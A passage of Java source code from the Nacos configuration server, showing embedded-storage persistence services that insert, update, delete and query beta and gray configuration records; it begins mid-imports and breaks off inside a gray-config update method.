com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.model.event.DerbyImportEvent;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedPaginationHelperImpl;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoBetaMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\nimport java.sql.Timestamp;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\n\n/**\n * EmbeddedConfigInfoBetaPersistServiceImpl.\n *\n * @author lixiaoshuang\n */\n@SuppressWarnings(\"checkstyle:linelength\")\n@Conditional(value = ConditionOnEmbeddedStorage.class)\n@Service(\"embeddedConfigInfoBetaPersistServiceImpl\")\npublic class EmbeddedConfigInfoBetaPersistServiceImpl implements ConfigInfoBetaPersistService {\n    \n    private DataSourceService dataSourceService;\n    \n    private final DatabaseOperate databaseOperate;\n    \n    private MapperManager mapperManager;\n    \n    /**\n     * The constructor sets the dependency injection order.\n     *\n     * @param databaseOperate databaseOperate.\n     */\n    public EmbeddedConfigInfoBetaPersistServiceImpl(DatabaseOperate databaseOperate) {\n        this.databaseOperate = databaseOperate;\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n        NotifyCenter.registerToSharePublisher(DerbyImportEvent.class);\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new EmbeddedPaginationHelperImpl<>(databaseOperate);\n    }\n    \n    @Override\n    public ConfigInfoStateWrapper findConfigInfo4BetaState(final String dataId, final String group,\n            final String tenant) {\n        ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_BETA);\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        \n        final String sql = configInfoBetaMapper.select(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"gmt_modified\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        return databaseOperate.queryOne(sql, new Object[] {dataId, group, tenantTmp},\n                CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER);\n    }\n    \n    private ConfigOperateResult getBetaOperateResult(String dataId, String group, String tenant) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        \n        ConfigInfoStateWrapper configInfo4Beta = this.findConfigInfo4BetaState(dataId, group, tenantTmp);\n        if (configInfo4Beta == null) {\n            return new ConfigOperateResult(false);\n        }\n        return new ConfigOperateResult(configInfo4Beta.getId(), configInfo4Beta.getLastModified());\n        \n    }\n    \n    @Override\n    public ConfigOperateResult addConfigInfo4Beta(ConfigInfo configInfo, String betaIps, String srcIp, String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String encryptedDataKey = StringUtils.defaultEmptyIfBlank(configInfo.getEncryptedDataKey());\n        \n        configInfo.setTenant(tenantTmp);\n        try {\n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_BETA);\n\n            final String sql = configInfoBetaMapper.insert(\n                    Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"beta_ips\",\n                            \"src_ip\", \"src_user\", \"gmt_create@NOW()\", \"gmt_modified@NOW()\", \"encrypted_data_key\"));\n            final Object[] args = new Object[]{configInfo.getDataId(), configInfo.getGroup(), tenantTmp, appNameTmp,\n                    configInfo.getContent(), md5, betaIps, srcIp, srcUser, encryptedDataKey};\n\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            EmbeddedStorageContextUtils.onModifyConfigBetaInfo(configInfo, betaIps, srcIp, time);\n            EmbeddedStorageContextHolder.addSqlContext(sql, args);\n\n            databaseOperate.blockUpdate();\n            return getBetaOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp);\n\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateBeta(final ConfigInfo configInfo, final String betaIps, final String srcIp,\n            final String srcUser) {\n        if (findConfigInfo4BetaState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant()) == null) {\n            return addConfigInfo4Beta(configInfo, betaIps, srcIp, srcUser);\n        } else {\n            return updateConfigInfo4Beta(configInfo, betaIps, srcIp, srcUser);\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateBetaCas(final ConfigInfo configInfo, final String betaIps,\n            final String srcIp, final String srcUser) {\n        if (findConfigInfo4BetaState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant()) == null) {\n            return addConfigInfo4Beta(configInfo, betaIps, srcIp, srcUser);\n        } else {\n            return updateConfigInfo4BetaCas(configInfo, betaIps, srcIp, srcUser);\n        }\n        \n    }\n    \n    @Override\n    public void removeConfigInfo4Beta(final String dataId, final String group, final String tenant) {\n        final String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        ConfigInfoStateWrapper configInfo = findConfigInfo4BetaState(dataId, group, tenant);\n        if (configInfo != null) {\n            try {\n                ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(\n                        dataSourceService.getDataSourceType(), TableConstant.CONFIG_INFO_BETA);\n                final String sql = configInfoBetaMapper.delete(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n                final Object[] args = new Object[] {dataId, group, tenantTmp};\n                \n                EmbeddedStorageContextUtils.onDeleteConfigBetaInfo(tenantTmp, group, dataId,\n                        System.currentTimeMillis());\n                EmbeddedStorageContextHolder.addSqlContext(sql, args);\n                \n                boolean result = databaseOperate.update(EmbeddedStorageContextHolder.getCurrentSqlContext());\n                if (!result) {\n                    throw new NacosConfigException(\"[Tag] Configuration deletion failed\");\n                }\n            } finally {\n                EmbeddedStorageContextHolder.cleanAllContext();\n            }\n            \n        }\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4Beta(ConfigInfo configInfo, String betaIps, String srcIp,\n            String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String encryptedDataKey = StringUtils.defaultEmptyIfBlank(configInfo.getEncryptedDataKey());\n        \n        configInfo.setTenant(tenantTmp);\n        try {\n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_BETA);\n            final String sql = configInfoBetaMapper.update(\n                    Arrays.asList(\"content\", \"md5\", \"beta_ips\", \"src_ip\", \"src_user\", \"gmt_modified@NOW()\",\n                            \"app_name\", \"encrypted_data_key\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n\n            final Object[] args = new Object[]{configInfo.getContent(), md5, betaIps, srcIp, srcUser, appNameTmp,\n                    encryptedDataKey, configInfo.getDataId(), configInfo.getGroup(), tenantTmp};\n\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            EmbeddedStorageContextUtils.onModifyConfigBetaInfo(configInfo, betaIps, srcIp, time);\n            EmbeddedStorageContextHolder.addSqlContext(sql, args);\n\n            databaseOperate.blockUpdate();\n            return getBetaOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp);\n\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4BetaCas(ConfigInfo configInfo, String betaIps, String srcIp,\n            String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        \n        configInfo.setTenant(tenantTmp);\n        try {\n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            \n            ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_BETA);\n            MapperContext context = new MapperContext();\n            context.putUpdateParameter(FieldConstant.CONTENT, configInfo.getContent());\n            context.putUpdateParameter(FieldConstant.MD5, md5);\n            context.putUpdateParameter(FieldConstant.BETA_IPS, betaIps);\n            context.putUpdateParameter(FieldConstant.SRC_IP, srcIp);\n            context.putUpdateParameter(FieldConstant.SRC_USER, srcUser);\n            context.putUpdateParameter(FieldConstant.APP_NAME, appNameTmp);\n\n            context.putWhereParameter(FieldConstant.DATA_ID, configInfo.getDataId());\n            context.putWhereParameter(FieldConstant.GROUP_ID, configInfo.getGroup());\n            context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n            context.putWhereParameter(FieldConstant.MD5, configInfo.getMd5());\n            MapperResult mapperResult = configInfoBetaMapper.updateConfigInfo4BetaCas(context);\n\n            final String sql = mapperResult.getSql();\n            List<Object> paramList = mapperResult.getParamList();\n            final Object[] args = paramList.toArray();\n\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            EmbeddedStorageContextUtils.onModifyConfigBetaInfo(configInfo, betaIps, srcIp, time);\n            EmbeddedStorageContextHolder.addSqlContext(sql, args);\n\n            boolean success = databaseOperate.blockUpdate();\n            if (success) {\n                return getBetaOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp);\n            } else {\n                return new ConfigOperateResult(false);\n            }\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigInfoBetaWrapper findConfigInfo4Beta(final String dataId, final String group, final String tenant) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_BETA);\n        final String sql = configInfoBetaMapper.select(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"beta_ips\",\n                        \"encrypted_data_key\", \"gmt_modified\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        \n        return databaseOperate.queryOne(sql, new Object[] {dataId, group, tenantTmp},\n                CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER);\n        \n    }\n    \n    @Override\n    public int configInfoBetaCount() {\n        ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_BETA);\n        String sql = configInfoBetaMapper.count(null);\n        Integer result = databaseOperate.queryOne(sql, Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoBetaCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public Page<ConfigInfoBetaWrapper> findAllConfigInfoBetaForDumpAll(final int pageNo, final int pageSize) {\n        final int startRow = (pageNo - 1) * pageSize;\n        ConfigInfoBetaMapper configInfoBetaMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_BETA);\n        String sqlCountRows = configInfoBetaMapper.count(null);\n        \n        MapperContext context = new MapperContext();\n        context.setStartRow(startRow);\n        context.setPageSize(pageSize);\n        \n        MapperResult mapperResult = configInfoBetaMapper.findAllConfigInfoBetaForDumpAllFetchRows(context);\n        \n        String sqlFetchRows = mapperResult.getSql();\n        \n        PaginationHelper<ConfigInfoBetaWrapper> helper = createPaginationHelper();\n        return helper.fetchPageLimit(sqlCountRows, sqlFetchRows, new Object[] {}, pageNo, pageSize,\n                CONFIG_INFO_BETA_WRAPPER_ROW_MAPPER);\n        \n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/embedded/EmbeddedConfigInfoGrayPersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.embedded;\n\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.HistoryConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.sql.EmbeddedStorageContextUtils;\nimport com.alibaba.nacos.config.server.utils.ConfigExtInfoUtil;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.core.distributed.id.IdGeneratorManager;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnEmbeddedStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.model.event.DerbyImportEvent;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedPaginationHelperImpl;\nimport com.alibaba.nacos.persistence.repository.embedded.EmbeddedStorageContextHolder;\nimport com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoGrayMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.stereotype.Service;\n\nimport java.sql.Timestamp;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.utils.PropertyUtil.GRAY_MIGRATE_FLAG;\n\n/**\n * EmbeddedConfigInfoGrayPersistServiceImpl.\n *\n * @author rong\n */\n@SuppressWarnings(\"checkstyle:linelength\")\n@Conditional(value = ConditionOnEmbeddedStorage.class)\n@Service(\"embeddedConfigInfoGrayPersistServiceImpl\")\npublic class EmbeddedConfigInfoGrayPersistServiceImpl implements ConfigInfoGrayPersistService {\n    \n    private static final String RESOURCE_CONFIG_HISTORY_ID = \"config-history-id\";\n    \n    private static final String RESOURCE_CONFIG_HISTORY_GRAY_ID = \"config-history-gray-id\";\n    \n    private DataSourceService dataSourceService;\n    \n    private final DatabaseOperate databaseOperate;\n    \n    private MapperManager mapperManager;\n    \n    private final IdGeneratorManager idGeneratorManager;\n    \n    private final HistoryConfigInfoPersistService historyConfigInfoPersistService;\n    \n    /**\n     * The constructor sets the dependency injection order.\n     *\n     * @param databaseOperate databaseOperate.\n     */\n    public EmbeddedConfigInfoGrayPersistServiceImpl(DatabaseOperate databaseOperate,\n            IdGeneratorManager idGeneratorManager,\n            @Qualifier(\"embeddedHistoryConfigInfoPersistServiceImpl\") HistoryConfigInfoPersistService historyConfigInfoPersistService) {\n        this.databaseOperate = databaseOperate;\n        this.idGeneratorManager = idGeneratorManager;\n        this.historyConfigInfoPersistService = historyConfigInfoPersistService;\n        idGeneratorManager.register(RESOURCE_CONFIG_HISTORY_GRAY_ID, RESOURCE_CONFIG_HISTORY_ID);\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n        NotifyCenter.registerToSharePublisher(DerbyImportEvent.class);\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new EmbeddedPaginationHelperImpl<>(databaseOperate);\n    }\n    \n    @Override\n    public ConfigInfoStateWrapper findConfigInfo4GrayState(final String dataId, final String group, final String tenant,\n            String grayName) {\n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n        \n        String sql = configInfoGrayMapper.select(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"gmt_modified\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\"));\n        return databaseOperate.queryOne(sql, new Object[] {dataId, group, tenantTmp, grayNameTmp},\n                CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER);\n    }\n    \n    private ConfigOperateResult getGrayOperateResult(String dataId, String group, String tenant, String grayName) {\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(tenant);\n        ConfigInfoStateWrapper configInfo4Gray = this.findConfigInfo4GrayState(dataId, group, tenantTmp, grayName);\n        if (configInfo4Gray == null) {\n            return new ConfigOperateResult(false);\n        }\n        return new ConfigOperateResult(configInfo4Gray.getId(), configInfo4Gray.getLastModified());\n        \n    }\n    \n    @Override\n    public ConfigOperateResult addConfigInfo4Gray(ConfigInfo configInfo, String grayName, String grayRule, String srcIp,\n            String srcUser) {\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n        String grayRuleTmp = StringUtils.isBlank(grayRule) ? StringUtils.EMPTY : grayRule.trim();\n        \n        configInfo.setTenant(tenantTmp);\n        \n        try {\n            long configGrayId = idGeneratorManager.nextId(RESOURCE_CONFIG_HISTORY_GRAY_ID);\n            long hisId = idGeneratorManager.nextId(RESOURCE_CONFIG_HISTORY_ID);\n            \n            addConfigInfoGrayAtomic(configGrayId, configInfo, grayNameTmp, grayRuleTmp, srcIp, srcUser);\n            Timestamp now = new Timestamp(System.currentTimeMillis());\n            \n            if (!GRAY_MIGRATE_FLAG.get()) {\n                historyConfigInfoPersistService.insertConfigHistoryAtomic(hisId, configInfo, srcIp, srcUser, now, \"I\",\n                        Constants.GRAY, grayNameTmp,\n                        ConfigExtInfoUtil.getExtInfoFromGrayInfo(grayNameTmp, grayRuleTmp, srcUser));\n            }\n            \n            EmbeddedStorageContextUtils.onModifyConfigGrayInfo(configInfo, grayNameTmp, grayRuleTmp, srcIp, now);\n            databaseOperate.blockUpdate();\n            return getGrayOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, grayNameTmp);\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public void addConfigInfoGrayAtomic(long configGrayId, ConfigInfo configInfo, String grayName, String grayRule,\n            String srcIp, String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n        String grayRuleTmp = StringUtils.isBlank(grayRule) ? StringUtils.EMPTY : grayRule.trim();\n        String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        \n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        \n        final String sql = configInfoGrayMapper.insert(\n                Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"gray_name\", \"gray_rule\", \"app_name\", \"content\",\n                        \"md5\", \"src_ip\", \"src_user\", \"gmt_create\", \"gmt_modified\"));\n        \n        Timestamp time = new Timestamp(System.currentTimeMillis());\n        final Object[] args = new Object[] {configGrayId, configInfo.getDataId(), configInfo.getGroup(), tenantTmp,\n                grayNameTmp, grayRuleTmp, appNameTmp, configInfo.getContent(), md5, srcIp, srcUser, time, time};\n        EmbeddedStorageContextHolder.addSqlContext(sql, args);\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateGray(final ConfigInfo configInfo, final String grayName,\n            final String grayRule, final String srcIp, final String srcUser) {\n        if (findConfigInfo4GrayState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(), grayName)\n                == null) {\n            return addConfigInfo4Gray(configInfo, grayName, grayRule, srcIp, srcUser);\n        } else {\n            return updateConfigInfo4Gray(configInfo, grayName, grayRule, srcIp, srcUser);\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateGrayCas(final ConfigInfo configInfo, final String grayName,\n            final String grayRule, final String srcIp, final String srcUser) {\n        if (findConfigInfo4GrayState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(), grayName)\n                == null) {\n            return addConfigInfo4Gray(configInfo, grayName, grayRule, srcIp, srcUser);\n        } else {\n            return updateConfigInfo4GrayCas(configInfo, grayName, grayRule, srcIp, srcUser);\n        }\n    }\n    \n    @Override\n    public void removeConfigInfoGray(final String dataId, final String group, final String tenant,\n            final String grayName, final String srcIp, final String srcUser) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName;\n        \n        ConfigInfoGrayWrapper oldConfigAllInfo4Gray = findConfigInfo4Gray(dataId, group, tenantTmp, grayNameTmp);\n        if (oldConfigAllInfo4Gray == null) {\n            if (LogUtil.FATAL_LOG.isErrorEnabled()) {\n                LogUtil.FATAL_LOG.error(\"expected config info[dataid:{}, group:{}, tenent:{}] but not found.\", dataId,\n                        group, tenant);\n            }\n        }\n        \n        ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_GRAY);\n        final String sql = configInfoGrayMapper.delete(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\"));\n        final Object[] args = new Object[] {dataId, group, tenantTmp, grayNameTmp};\n        \n        Timestamp now = new Timestamp(System.currentTimeMillis());\n        if (!GRAY_MIGRATE_FLAG.get()) {\n            historyConfigInfoPersistService.insertConfigHistoryAtomic(oldConfigAllInfo4Gray.getId(), oldConfigAllInfo4Gray,\n                    srcIp, srcUser, now, \"D\", Constants.GRAY, grayNameTmp,\n                    ConfigExtInfoUtil.getExtInfoFromGrayInfo(oldConfigAllInfo4Gray.getGrayName(),\n                            oldConfigAllInfo4Gray.getGrayRule(), oldConfigAllInfo4Gray.getSrcUser()));\n        }\n        \n        EmbeddedStorageContextUtils.onDeleteConfigGrayInfo(tenantTmp, group, dataId, grayNameTmp, srcIp);\n        EmbeddedStorageContextHolder.addSqlContext(sql, args);\n        try {\n            databaseOperate.update(EmbeddedStorageContextHolder.getCurrentSqlContext());\n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4Gray(ConfigInfo configInfo, String grayName, String grayRule,\n            String srcIp, String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n        String grayRuleTmp = StringUtils.isBlank(grayRule) ? StringUtils.EMPTY : grayRule.trim();\n        \n        configInfo.setTenant(tenantTmp);\n        \n        try {\n            ConfigInfoGrayWrapper oldConfigAllInfo4Gray = findConfigInfo4Gray(configInfo.getDataId(),\n                    configInfo.getGroup(), tenantTmp, grayNameTmp);\n            if (oldConfigAllInfo4Gray == null) {\n                if (LogUtil.FATAL_LOG.isErrorEnabled()) {\n                    LogUtil.FATAL_LOG.error(\"expected config info[dataid:{}, group:{}, tenent:{}] but not found.\",\n                            configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant());\n                }\n                return new ConfigOperateResult(false);\n            }\n            \n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_GRAY);\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            \n            final String sql = configInfoGrayMapper.update(\n                    Arrays.asList(\"content\", \"md5\", \"src_ip\", \"src_user\", \"gmt_modified\", \"app_name\", \"gray_rule\"),\n                    Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"gray_name\"));\n            final Object[] args = new Object[] {configInfo.getContent(), md5, srcIp, srcUser, time, appNameTmp,\n                    grayRuleTmp, configInfo.getDataId(), configInfo.getGroup(), tenantTmp, grayNameTmp};\n            if (!GRAY_MIGRATE_FLAG.get()) {\n                historyConfigInfoPersistService.insertConfigHistoryAtomic(oldConfigAllInfo4Gray.getId(),\n                        oldConfigAllInfo4Gray, srcIp, srcUser, time, \"U\", Constants.GRAY, grayNameTmp,\n                        ConfigExtInfoUtil.getExtInfoFromGrayInfo(oldConfigAllInfo4Gray.getGrayName(),\n                                oldConfigAllInfo4Gray.getGrayRule(), oldConfigAllInfo4Gray.getSrcUser()));\n            }\n            EmbeddedStorageContextUtils.onModifyConfigGrayInfo(configInfo, grayNameTmp, grayRuleTmp, srcIp, time);\n            EmbeddedStorageContextHolder.addSqlContext(sql, args);\n            \n            databaseOperate.blockUpdate();\n            return getGrayOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, grayNameTmp);\n            \n        } finally {\n            EmbeddedStorageContextHolder.cleanAllContext();\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4GrayCas(ConfigInfo configInfo, String grayName, String grayRule,\n            String srcIp, String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String grayNameTmp = StringUtils.isBlank(grayName) ? StringUtils.EMPTY : grayName.trim();\n        String grayRuleTmp = StringUtils.isBlank(grayRule) ? StringUtils.EMPTY : grayRule.trim();\n        \n        configInfo.setTenant(tenantTmp);\n        \n        try {\n            final ConfigInfoGrayWrapper oldConfigAllInfo4Gray = findConfigInfo4Gray(configInfo.getDataId(),\n                    configInfo.getGroup(), tenantTmp, grayNameTmp);\n            if (oldConfigAllInfo4Gray == null) {\n                if (LogUtil.FATAL_LOG.isErrorEnabled()) {\n                    LogUtil.FATAL_LOG.error(\"expected config info[dataid:{}, group:{}, tenent:{}] but not found.\",\n                            configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant());\n                }\n                return new ConfigOperateResult(false);\n            }\n            \n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            ConfigInfoGrayMapper configInfoGrayMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_GRAY);\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            \n            MapperContext context = new MapperContext();\n            context.putUpdateParameter(FieldConstant.CONTENT, configInfo.getContent());\n            context.putUpdateParameter(FieldConstant.MD5, md5);\n            context.putUpdateParameter(FieldConstant.SRC_IP, srcIp);\n            context.putUpdateParameter(FieldConstant.SRC_USER, srcUser);\n            context.putUpdateParameter(FieldConstant.GMT_MODIFIED, time);\n            